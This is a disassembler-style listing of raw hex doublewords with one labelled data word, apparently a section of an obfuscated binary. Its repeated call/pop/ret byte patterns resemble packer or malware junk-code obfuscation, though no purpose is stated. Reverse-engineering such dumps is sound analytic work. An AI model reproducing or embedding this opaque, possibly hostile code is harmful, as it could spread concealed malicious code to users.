dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 357FB21Ah, 0F54BD0Bh, 386h, 0F9BF0F00h, 0B8h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 5EBA8C62h, 1A553150h, 4DB501ABh, 2B061F1Fh, 53006AD2h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 2D6C7037h, 6CBDAC7h, 8B663331h, 0C233ADDFh, 0D003E8D1h
dd 7504E983h, 0B70F60F4h, 698D8BDAh, 61061F0Ah, 8E8h, 419CB00h
dd 82363FCCh, 0E95BF956h, 12h, 0DFE0AD7Dh, 0D45533BCh
dd 0C25428CBh, 9CDD2FA3h, 880D9375h, 0F000000h, 1D8Fh
dd 178B0F00h, 0E8000000h, 11h, 0B9F20C8Ch, 0F60676B3h
dd 7C02E281h, 0CA881FCh, 958B5FAEh, 61F0B5Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8FC35545h, 0DB81661Eh
dd 0E9570614h, 7, 0A385FEB7h, 5BA0D618h, 20C58D8Bh, 8166061Fh
dd 50EB8DD3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 619D8B58h, 6A061F00h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0A248C350h, 8E0FF5DCh
dd 19h, 14E9h, 72BE3300h, 4D0A2F4h, 0A996795h, 0A7A149DDh
dd 2E789ECDh, 8DBD8390h, 61F07h, 9B840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0E78201C3h, 0DB99C63Dh, 7E9h, 1FAEC000h, 0F660B734h
dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0E907D0BBh, 12h, 0B06FB12Bh, 0BAB73E5Fh
dd 0C121FD57h, 685D3A03h, 8D8DAF61h, 61F4DB0h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 52C35545h, 899230EEh
dd 1F32958Dh, 89E1FF06h, 1F0CF99Dh, 7DBD8306h, 61F13h
dd 4AE840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0BF463DC3h, 3F28E3E5h, 0BD835B50h
dd 61F137Dh, 98840F01h, 6A000004h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EEAC350h
dd 0BD9910A7h, 12E8AAh, 0AD340000h, 40F4E831h, 993B2CDEh
dd 60319586h, 803960A0h, 0FE9h, 982E3000h, 0D7838DADh
dd 23877BDAh, 45C9766Ch, 1860F5Fh, 0F9000000h, 137DBD83h
dd 0F03061Fh, 40086h, 1D853100h, 66061F17h, 4BE8D381h
dd 0FAB70F60h, 0F8D98C66h, 0E904E180h, 9, 7A93297Bh, 7D0B75A4h
dd 0FC90ABBh, 16584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 35381C0Bh, 41BD8BDEh
dd 0BF061F14h, 42C7020Ch, 0DC1858Bh, 6A061Fh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E576A0C3h
dd 0F1B70F60h, 1709952Bh, 3361061Fh, 1F2EC985h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 2D2DA2EBh, 0A943F7DEh, 81666324h, 0FA43ADFh, 0E990FABFh
dd 0Eh, 6AE2D934h, 71941453h, 259E70B9h, 8A50AAAEh, 8F0F90D9h
dd 6, 0D177DB81h, 6A0609h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0ADC35040h, 9E9F994h, 59000000h, 3488FE70h
dd 0C55664FEh, 6834EF80h, 4EC16B9Ch, 0EE8h, 3E81FA00h
dd 80272561h, 432EFDB2h, 8BEE1A56h, 34815FDEh, 0DE686324h
dd 12E9604Eh, 4A000000h, 2499F961h, 5B73FD3h, 99EECE1h
dd 9409110Bh, 61CA8A94h, 2DE195FFh, 9D8B061Fh, 61F1ED1h
dd 0B2558589h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0C27DF0C3h, 0FC6D9072h, 9D0B2E00h
dd 61F0FB9h, 1D1E9h, 2E40BF00h, 858B255Ah, 622B24Dh, 19598589h
dd 0C7061Fh, 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 4EC35343h, 7286488h, 0ACE6C558h, 68E0Fh, 9D890000h
dd 61F0325h, 0B251B58Bh, 33B30622h, 13A1858Bh, 0AABF061Fh
dd 89771A60h, 0DE906h, 89EB0000h, 35F770C8h, 0D607C693h
dd 8B3818A5h, 1F0DC185h, 8D895006h, 61F20A9h, 446895Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DC35646h
dd 0D4BF5C38h, 8A0F5015h, 2, 505B6160h, 6A243489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 9BC357h, 0FFA18357h, 22B24DB5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 69A05F52h
dd 0F57E0572h, 55BD8B7Eh, 68061F1Bh, 8E4A0E6Dh, 11E960h
dd 0C06D0000h, 96D125A3h, 0BA6D6E97h, 0FCE65555h, 619C57D3h
dd 92240481h, 6A71D4F5h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 421DC355h, 0E8577F04h
dd 83D9589h, 858D061Fh, 622B255h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 33C35141h, 0FB8B90D0h, 2890F50h
dd 8B000000h, 958990F9h, 61F2399h, 0EE8h, 7967B500h, 34EE6E46h
dd 0A2986D74h, 5FD1A80Ch, 2DE195FFh, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E88D6EC3h, 10h, 0FB0EF61Dh, 812B6D59h, 5419BBFDh, 0EE3AC4Dh
dd 28D38166h, 3615B85h, 1F1A799Dh, 7D85C706h, 3061F13h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0E82CC355h, 36F3CA69h, 16E4345Eh
dd 96579FBBh, 55BD831Ch, 622B2h, 5B840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0A764D5C3h, 0B589CF16h, 61F30BDh, 1BED8D89h, 45E9061Fh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0CFC5C350h, 8D6F4461h, 89F98B66h
dd 1F2E1D9Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0EEC35545h, 6A8D1Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0AF6D55C3h
dd 5B79BB66h, 1890Fh, 83FC0000h, 1F137DBDh, 850F0306h
dd 48Ah, 0B255BD83h, 0F000622h, 47D84h, 0FFFFB300h, 22B255B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 5A4F764Ah, 25925D14h, 0FAE7816Ah, 0FF4979CFh
dd 1F1BC995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0B58BD652h, 622B249h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 87C35747h, 0AE98Bh
dd 76170000h, 0EA95A952h, 6AA6809Bh, 5EC3EF81h, 6C73C8Ah
dd 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0BEC35242h, 0F2494C20h, 96ADBED4h, 1A850Fh, 830F0000h
dd 14h, 0FE9h, 0FB9CBB00h, 0A35C5CE7h, 76C22E1h, 0A8844ECh
dd 12E950h, 37240000h, 0BE0DC183h, 0C2FDBE24h, 6B005FF2h
dd 30EFDA33h, 5DC78196h, 0FF107638h, 22B255B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0BF28ACE4h, 12E900h, 45150000h, 286D446Fh, 3543A3F6h
dd 4AF9E0F7h, 63C6555h, 162195FFh, 6A061Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 198F7CC3h
dd 8B76D9B0h, 22B249B5h, 5820F06h, 66000000h, 1A8EDB81h
dd 2FF1858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 26968EC3h, 13E9E2h, 5B090000h, 99E32D10h
dd 18636C9Eh, 2F9F3896h, 0FF405BD9h, 0C4868940h, 0F000000h
dd 281h, 8BDC8A00h, 1F0B5D95h, 8D895706h, 61F080Dh, 4C2835Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8AC35646h
dd 0C936E454h, 8564C305h, 0BB6651A1h, 895FF12Dh, 0BD8B2050h
dd 61F15A9h, 0C797858Dh, 0BD0B0622h, 61F0F05h, 0B88689h
dd 95290000h, 61F2B85h, 7E9006Ah, 0DA000000h, 8F30A108h
dd 0B5FF5D8Dh, 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 4CC35545h, 85BD29C8h, 0FF061F2Bh, 1F2F5595h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0D380EA46h, 0F5096DCh, 48Eh, 0F5BB6600h
dd 6A966Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0B50EE8C3h, 0F1248726h, 0E983019Bh, 14h
dd 0AE0F928Fh, 56411DECh, 11825318h, 3ECFFC22h, 0C74B40A7h
dd 0B255B5FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 66F143C3h, 8B67C5BBh, 1F2DE9BDh
dd 1D95FF06h, 6A061F0Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0F3BAC350h, 71C02BA6h
dd 2C0DBD83h, 0F00061Fh, 3C84h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 2D952989h
dd 31061F02h, 1F19C19Dh, 0BF669606h, 605049BFh, 0AAFB90B9h
dd 89966139h, 1F074D8Dh, 55B5FF06h, 6A0622B2h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 10AAC352h, 118BD202h, 2BA19D8Bh, 95FF061Fh, 61F1349h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0EEC35242h
dd 81889AF3h, 7039E3CFh, 859D0B0Fh, 0FF061F2Dh, 22B255B5h
dd 0FE806h, 0DE620000h, 0ACFA62DEh, 22F2B766h, 0A5ED581Fh
dd 2830F6Dh, 0B3000000h, 95FF5BEAh, 61F1075h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 58C35242h, 13A17D09h
dd 83321F7Ch, 1F0009BDh, 840F0206h, 5Eh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 17h, 66C35242h, 0E863FBA8h
dd 6, 0D6E5742Ch, 8DBF26ABh, 5F4F94F9h, 8BFBB70Fh, 1F175185h
dd 859D8B06h, 0C6061F07h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 85C784C3h, 61F1291h
dd 0
dd 2EFD9589h, 3BE9061Fh, 0B7FFFFF2h, 41BD8BE4h, 8B061F1Dh
dd 68B0FC1h, 8B000000h, 1F24259Dh, 14E95606h, 79000000h
dd 1609D34Eh, 0E4812029h, 76E3D48Dh, 884CB1F6h, 5BEBCD22h
dd 19BD858Dh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 72C8ABC3h, 5C18F9AEh, 12859D8Bh
dd 6650061Fh, 8996BCBBh, 0BD232404h, 61F1F25h, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 9C6712C3h, 77DB67E7h, 6A2F69h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 30C35242h, 6382657Bh, 40858DD6h
dd 8906241Ah, 1F2BFD9Dh, 5C08306h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0B1C35141h, 3FF519FAh, 0A5DFDFF9h
dd 2F3D8589h, 0B790061Fh, 6A905018h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 4074C352h
dd 11D9BD89h, 6A061Fh, 6A006AF8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0DAA0C357h
dd 0FFDC86DEh, 499D8BCCh, 0FF061F0Ah, 1F016195h, 0DF8B6606h
dd 0B1F28D8Dh, 0D98B0622h, 9D23D1FFh, 61F02CDh, 0EF5BD83h
dd 0F01061Fh, 7F85h, 41858900h, 6A061F00h, 52006A02h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 98D3AF82h, 0B390CC58h, 0D88B5035h, 56006A90h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0FE8B66D0h, 0C9DB8166h, 5595FFA5h, 6A061F2Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0EB87C357h, 548CC48Eh, 95C304D6h, 0DB2E9h, 0E800h, 815D0000h
dd 241A4AEDh, 0B58B6006h, 61F0E39h, 0D27296BBh, 0DEBF6147h
dd 8D512CAAh, 228EE485h, 81665206h, 5BD964F7h, 8F33BB90h
dd 905048C2h, 2CE18D89h, 9D8B061Fh, 61F1221h, 35FF64h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 640AC353h, 0A2FAE0A2h, 66D1A4A6h
dd 8964FE8Bh, 25h, 4BF6600h, 2985FF46h, 6A061F10h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0BF8EC356h, 89C95716h, 1F0D499Dh, 66FF6A06h, 693BCB81h
dd 2D01B5FFh, 0F6B3061Fh, 1CED95FFh, 2BE9061Fh, 66000001h
dd 0B0DA8Bh, 7AF38166h, 8B70E6C6h, 1F2AAD9Dh, 8B71E406h
dd 1F15B9BDh, 0F613C06h, 10983h, 0DDBD8B00h, 0E8061F07h
dd 0Fh, 98331175h, 0E7EE73B8h, 617763D9h, 0E803AE1Ch, 0Fh
dd 0D52B31AEh, 851D88ADh, 43101100h, 666CDFD0h, 79D4F381h
dd 0B60F5B5Fh, 0EAA2BBC8h, 6BA12B9h, 0F000000h, 0C18BFFB7h
dd 4135BB66h, 0BB04E8C1h, 5B522E5Ch, 0E9E2F766h, 10h, 700EBDD5h
dd 26100E9Dh, 0A720DFB4h, 65871D82h, 8BFCC82Bh, 398D89D1h
dd 0E8061F16h, 11h, 67F5B171h, 0FF64AD39h, 0A7571484h
dd 0FC0FD0D3h, 5B5B56AAh, 75E9h, 0FBBF0F00h, 4C4C858Bh
dd 0E381505Fh, 3AC4AB43h, 107C083h, 1F0B31BDh, 0C08306h
dd 0D03BF88Ah, 11830Fh, 0BD2B0000h, 61F0665h, 45E9h, 958D8900h
dd 8B061F23h, 0FFFFFF8Dh, 0D98589FFh, 89061F10h, 1F16E9BDh
dd 1E18306h, 24840Fh, 0BD290000h, 61F2D0Dh, 0FFFFA583h
dd 89FEFFFFh, 1F31C1B5h, 4C958906h, 81505F4Ch, 0D1BC54CFh
dd 0E925h, 0B58D0000h, 6239AFBh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 3DC35545h, 0ADB5CF59h, 11718589h
dd 6A061Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 7AC35747h, 8E244E30h, 86E3E4EFh, 25BD034Fh, 56061F02h
dd 68E0Fh, 0BD0B0000h, 61F0A71h, 4595FF5Bh, 6A061F1Dh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 0F6BC357h, 0A80h, 5E900h, 5B170000h, 0B9D891D6h
dd 1074h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0DC35646h, 0DF81CB4Dh, 1E9B9929h, 0E8FCE183h, 7
dd 685F3AFh, 5FFBC4DBh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 9BBAF30Eh, 694CC070h
dd 81666066h, 8951D6E2h, 1F236D95h, 0AE86106h, 4F000000h
dd 2ABC2803h, 0BFEF6F76h, 5BD8B41h, 5B061F03h, 8D31C02Bh
dd 61F13D9h, 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 8BCDA7C3h, 0C233ADF9h, 0D003E8D1h
dd 7504E983h, 6AF98BF4h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 5A9BC352h, 66662108h
dd 880DFA8Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 8F80C351h, 0FABE6B5Dh
dd 5D958B10h, 89061F0Bh, 1F0EE58Dh, 0C58D8B06h, 6A061F20h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 8CBFC350h, 8BE540C1h, 1F208D9Dh, 0C28B5006h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh, 61F9EE80h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 9BC35141h
dd 1D86AB9h, 85295322h, 61F19B1h, 8DBD835Bh, 61F07h, 36840Fh
dd 0CE90000h, 0BB000000h, 0B57315ABh, 0B6417D69h, 0F54CE2F3h
dd 0B8h, 12D6BB00h, 9D8B7633h, 61F2E15h, 4DB08D8Dh, 0E781061Fh
dd 262B2C3Fh, 0BD8BE1FFh, 61F2ACDh, 137DBD83h, 0F00061Fh
dd 51784h, 999D8B00h, 83061F05h, 1F137DBDh, 840F0106h
dd 51Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0FAC35242h, 0CC28BF66h, 0C860Fh, 8A0F0000h, 6
dd 1F259D8Bh, 0BD83061Fh, 61F137Dh, 0AA860F03h, 6A000004h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0DECCC355h, 51588380h, 13E89FA1h, 5F000000h
dd 5D03326Ch, 0A374C237h, 9AA47139h, 9393B073h, 0F88B2E04h
dd 12E95Fh, 2C470000h, 21CF85D2h, 1EF6ADE3h, 971BF5DDh
dd 0C2D9B9Dh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 32D0A030h, 8B1E42FFh, 1F2AF59Dh
dd 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 47C35141h, 4E1809Ah, 1F3D9D89h, 0C90A061Fh, 13A840Fh
dd 10E80000h, 0E6000000h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh
dd 5FBD5489h, 0DC1858Bh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0A64A20C3h, 0BD8B6060h
dd 61F1619h, 2C89B589h, 6161061Fh, 2EC98533h, 6A061Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 82B07CC3h, 9E697400h, 0FE9787Ch, 98000000h, 0F60973A9h
dd 77442952h, 56BCD408h, 0E990CBADh, 10h, 0E47FDBEFh, 2FD0B3B3h
dd 64669B00h, 6CC4EE3Eh, 6A9050h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h
dd 0E44EF0C3h, 4EF00750h, 0D59D8BE4h, 6A061F23h, 0BE800h
dd 0EDD80000h, 20703B25h, 0CC3C0BCEh, 0AE9F7h, 0ECC0000h
dd 2B0C1371h, 0D60993A6h, 0D752685Bh, 34812FC8h, 0D7D4AD24h
dd 61B5012Fh, 0FF061F02h, 1F2DE195h, 55858906h, 6A0622B2h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0DF32C357h, 38B0F1Eh, 0F000000h, 0E3E9FEB7h
dd 0BF000001h, 753CD64Ah, 0B24D858Bh, 6A0622h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0F3EE7C3h, 0BFCBD7FAh, 135E7D57h, 1800C7h, 0DF8B0000h
dd 0B251B58Bh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0D43F3AC3h, 9737795h, 1F161195h
dd 0A1858B06h, 89061F13h, 1F126D8Dh, 6A068906h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8B4EC351h, 1F0DC185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0D411FC6Ch, 0EC4B6757h
dd 28D0Fh, 2AB70000h, 0E9044689h, 12h, 40991D34h, 0FEC604Dh
dd 6EA7ECD8h, 0F33C607Dh, 66968E80h, 503567BBh, 60CE8B60h
dd 0B8665850h, 61612283h, 57006A96h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A95A228Fh
dd 51BD8Bh, 0B5FF061Fh, 622B24Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0E9C35040h, 9DBD8BD5h, 68061F32h
dd 0D55FE098h, 67240481h, 0E92ABF23h, 9, 6CC4EE3Eh, 0BDFBA221h
dd 55858DC4h, 6A0622B2h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8B83C350h, 48950F8h
dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 93BF31DAh, 0CAB4F3B0h, 0B5294D50h, 61F0A81h
dd 2DE195FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 9866B7C3h, 3841A775h, 2DAD9589h
dd 0F781061Fh, 41E0717Ch, 1A09BD89h, 6A61061Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0EAAC351h, 0EC778867h, 2C25BD8Bh, 9D03061Fh, 61F1AEDh
dd 137D85C7h, 3061Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 3029C6C3h, 0D0391007h
dd 11E9B5h, 0A17B0000h, 5E748FA1h, 69C1C76Ah, 0CB929381h
dd 83DD5ABEh, 22B255BDh, 840F0006h, 65h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ch, 0B5C35040h, 0FCCD0D16h
dd 5ADA54E0h
db 0E8h, 9
word_580046 dw 0 ; DATA XREF: ___:off_427A80o
; ___:00427A88o ...
dd 0C5D42F00h, 0DBC60F3Ah, 0BD2B6084h, 61F2C09h, 42E95Bh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 9A47BBC3h, 0CB0113B4h, 8B466A47h, 0C3050FAh
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 10E9h
dd 28296E00h, 71F59312h, 76D58A28h, 0A70A2B80h, 52006AACh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0D8F9EEADh, 4CA1CC26h, 0BD83DF8Bh, 61F137Dh, 0C4850F03h
dd 81000003h, 0D18DB6D3h, 55BD8335h, 622B2h, 3B1840Fh
dd 0B5FF0000h, 622B255h, 28E0Fh, 0F98A0000h, 1BC995FFh
dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 8555EAC3h, 4849D208h, 30BF6661h, 49B58BCCh
dd 6A0622B2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 556FC356h, 0EC6D80A8h, 0E38166EAh
dd 0CB81194Fh, 2A58C963h, 106C7h, 0E8960001h, 13h, 0C2AECD37h
dd 456E7F85h, 254467CAh, 0C63062ECh, 508F4756h, 0FB8B6652h
dd 6160310Fh, 505B585Ah, 310F5250h, 0FBF6652h, 585A5F6Bh
dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 887CCE4Bh, 9D8B6E72h, 61F0755h, 0B255B5FFh
dd 5EB30622h, 162195FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 9548BDC3h, 45D8AE03h
dd 814A34B4h, 0AEF81CDBh, 49B58B33h, 500622B2h, 10E9h
dd 73034800h, 4843484Bh, 5224122Bh, 95528ABFh, 858B5F25h
dd 61F2FF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 8CC35242h, 33A7F752h, 0C48689h, 0BD0B0000h, 61F0EF9h
dd 0B5D958Bh, 9D8B061Fh, 61F10F9h, 8B04C283h, 1F02599Dh
dd 20508906h, 0C797858Dh, 6A0622h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 6A3ADEC3h, 0BD0B68DBh
dd 61F134Dh, 132D8D31h, 8689061Fh, 0B8h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FAC35646h, 494DCBD7h
dd 6A203DB1h, 8B0F6000h, 1, 0C18CBEF5h, 0FF6162A9h, 22B255B5h
dd 0DFBF0F06h, 2F5595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 9D8B8EC3h, 61F24ADh
dd 1EB76050h, 24348961h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 62C35242h, 0F1890211h, 0F4BB6646h, 55B5FFE2h
dd 0FF0622B2h, 1F0E1D95h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 98615BA8h
dd 83BBF2A6h, 1F2C0DBDh, 840F0006h, 5Bh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h, 0D6A31B61h
dd 0BF0F3309h, 4CB396D9h, 8830F50h, 60000000h, 2D06B966h
dd 9661E88Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 9CC35141h, 65BD8B47h, 0FF061F20h, 22B255B5h, 6810F06h
dd 29000000h, 1F08CD8Dh, 4995FF06h, 66061F13h, 0B5FFF98Bh
dd 622B255h, 1069BD8Bh, 95FF061Fh, 61F1075h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 2655157Dh
dd 162C4B27h, 832FDF80h, 1F0009BDh, 840F0206h, 73h, 17890Fh
dd 0BE80000h, 4000000h, 1D713063h, 0C9C53D34h, 95896D0Ah
dd 61F2D05h, 51858B5Fh, 6A061F17h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BF7AC357h
dd 8B62EA22h, 1F079DBDh, 0C606h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0DBC35747h, 927F594Dh, 0C19D8B1Fh
dd 0C7061F0Fh, 1F129185h, 6, 1DBD0B00h, 0E9061F0Dh, 0FFFFF2F9h
dd 0C18BFD8Ah, 8DFA8B66h, 1F19BD85h, 0BE906h, 85C90000h
dd 9A5C2534h, 60BDBF3Bh, 0F8BF0F7Ch, 58F0F90h, 0BF000000h
dd 1F5F25F3h, 9033B350h, 7399D89h, 6A061Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C5C35242h, 0F006A21h
dd 128Eh, 0DE900h, 2F890000h, 3F4EED63h, 84A02498h, 8D37EF17h
dd 2429A985h, 9E806h, 20260000h, 22AB32E4h, 810FC85Eh
dd 3A4C75D7h, 0C0835F6Ah, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0AFBF1DEAh
dd 9D0341B6h, 61F0FE1h, 840F5090h, 4, 0D9A1BB66h, 99BD3190h
dd 6A061F2Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 6ED727B2h, 0F7E93ADh, 683h, 0DB58900h
dd 6A061F11h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
